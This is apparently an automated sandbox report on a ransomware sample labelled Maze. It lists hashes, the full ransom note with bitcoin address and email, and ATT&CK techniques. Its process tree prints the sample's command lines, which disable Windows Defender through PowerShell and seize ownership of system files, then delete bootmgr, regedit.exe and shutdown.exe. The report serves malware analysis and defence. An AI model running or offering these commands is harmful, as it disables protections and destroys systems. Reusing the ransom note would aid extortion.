maze | 4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8

Resubmissions

25-10-2021 07:50

211025-jn857sfgg4 10

20-10-2021 09:26

211020-ld6cnshgel 10

Analysis

max time kernel
1800s
max time network
1805s
platform
windows7_x64
resource
win7-en-20210920
submitted
25-10-2021 07:50

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Report Analysis Logs

General

Target

b53415f6_lcvDB3iF4J.exe
Size

7.4MB
MD5

b53415f6d38ce4831cbf327daf5201b4
SHA1

778d6f976e10d201903c76adcd18f14e685a3704
SHA256

4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8
SHA512

0c2e2fd8ebfe175dc844d64ad9e85f8ab23f8e63b75d7773a38bf68741071c0ea6aa91402b1ab5813a7d66b289650b1e868c56dd86636dcc26c37c07bdb55bb4

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]

Emails

[email protected]

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion

Executes dropped EXE 1 IoCs

pid	Process
1800	VSSVC.exe

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\MeasureSelect.raw => C:\Users\Admin\Pictures\MeasureSelect.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\UnregisterMount.crw => C:\Users\Admin\Pictures\UnregisterMount.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\DenyUnregister.raw => C:\Users\Admin\Pictures\DenyUnregister.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\EnableSuspend.png => C:\Users\Admin\Pictures\EnableSuspend.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\ExpandRegister.png => C:\Users\Admin\Pictures\ExpandRegister.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
984	takeown.exe
1072	icacls.exe
1188	takeown.exe
1616	icacls.exe
1760	takeown.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe

Loads dropped DLL 1 IoCs

pid	Process
1148	b53415f6_lcvDB3iF4J.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1188	takeown.exe
1616	icacls.exe
1760	takeown.exe
984	takeown.exe
1072	icacls.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/1148-57-0x0000000000C50000-0x0000000000C51000-memory.dmp	themida
behavioral1/files/0x00060000000125c7-68.dat	themida
behavioral1/files/0x00060000000125c7-70.dat	themida
behavioral1/memory/1800-78-0x00000000003E0000-0x00000000003E1000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1148	b53415f6_lcvDB3iF4J.exe
1800	VSSVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1820	powershell.exe
1172	powershell.exe
1640	powershell.exe
896	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	1148	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	1148	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	1800	VSSVC.exe
Token: SeDebugPrivilege	1800	VSSVC.exe
Token: SeTakeOwnershipPrivilege	984	takeown.exe
Token: SeTakeOwnershipPrivilege	1188	takeown.exe
Token: SeTakeOwnershipPrivilege	1760	takeown.exe
Token: 33	1524	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1524	AUDIODG.EXE
Token: 33	1524	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1524	AUDIODG.EXE

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	28
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	28
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	28
PID 1148 wrote to memory of 1820	1148	b53415f6_lcvDB3iF4J.exe	28
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	30
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	30
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	30
PID 1148 wrote to memory of 896	1148	b53415f6_lcvDB3iF4J.exe	30
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	32
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	32
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	32
PID 1148 wrote to memory of 1640	1148	b53415f6_lcvDB3iF4J.exe	32
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	34
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	34
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	34
PID 1148 wrote to memory of 1172	1148	b53415f6_lcvDB3iF4J.exe	34
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	36
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	36
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	36
PID 1148 wrote to memory of 1800	1148	b53415f6_lcvDB3iF4J.exe	36
PID 1800 wrote to memory of 992	1800	VSSVC.exe	38
PID 1800 wrote to memory of 992	1800	VSSVC.exe	38
PID 1800 wrote to memory of 992	1800	VSSVC.exe	38
PID 1800 wrote to memory of 992	1800	VSSVC.exe	38
PID 992 wrote to memory of 984	992	cmd.exe	40
PID 992 wrote to memory of 984	992	cmd.exe	40
PID 992 wrote to memory of 984	992	cmd.exe	40
PID 992 wrote to memory of 984	992	cmd.exe	40
PID 992 wrote to memory of 1072	992	cmd.exe	41
PID 992 wrote to memory of 1072	992	cmd.exe	41
PID 992 wrote to memory of 1072	992	cmd.exe	41
PID 992 wrote to memory of 1072	992	cmd.exe	41
PID 992 wrote to memory of 1188	992	cmd.exe	42
PID 992 wrote to memory of 1188	992	cmd.exe	42
PID 992 wrote to memory of 1188	992	cmd.exe	42
PID 992 wrote to memory of 1188	992	cmd.exe	42
PID 992 wrote to memory of 1616	992	cmd.exe	43
PID 992 wrote to memory of 1616	992	cmd.exe	43
PID 992 wrote to memory of 1616	992	cmd.exe	43
PID 992 wrote to memory of 1616	992	cmd.exe	43
PID 992 wrote to memory of 1760	992	cmd.exe	44
PID 992 wrote to memory of 1760	992	cmd.exe	44
PID 992 wrote to memory of 1760	992	cmd.exe	44
PID 992 wrote to memory of 1760	992	cmd.exe	44

C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe
"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1172
- C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
  "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
  2⤵
  - Executes dropped EXE
  - Modifies extensions of user files
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:992
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32 /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1072
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\drivers
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\drivers /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1616
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\LogonUI.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1760

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1176

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x148
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/896-77-0x00000000025C0000-0x000000000320A000-memory.dmp

Filesize
12.3MB

Download
memory/896-81-0x00000000025C0000-0x000000000320A000-memory.dmp

Filesize
12.3MB

Download
memory/1148-54-0x00000000751A1000-0x00000000751A3000-memory.dmp

Filesize
8KB

Download
memory/1148-59-0x0000000005B40000-0x0000000005B41000-memory.dmp

Filesize
4KB

Download
memory/1148-57-0x0000000000C50000-0x0000000000C51000-memory.dmp

Filesize
4KB

Download
memory/1172-86-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1172-82-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1176-95-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

Filesize
8KB

Download
memory/1640-85-0x00000000022C1000-0x00000000022C2000-memory.dmp

Filesize
4KB

Download
memory/1640-79-0x00000000022C0000-0x00000000022C1000-memory.dmp

Filesize
4KB

Download
memory/1640-88-0x00000000022C2000-0x00000000022C4000-memory.dmp

Filesize
8KB

Download
memory/1800-83-0x0000000005610000-0x0000000005611000-memory.dmp

Filesize
4KB

Download
memory/1800-78-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/1820-87-0x00000000023C2000-0x00000000023C4000-memory.dmp

Filesize
8KB

Download
memory/1820-84-0x00000000023C1000-0x00000000023C2000-memory.dmp

Filesize
4KB

Download
memory/1820-76-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download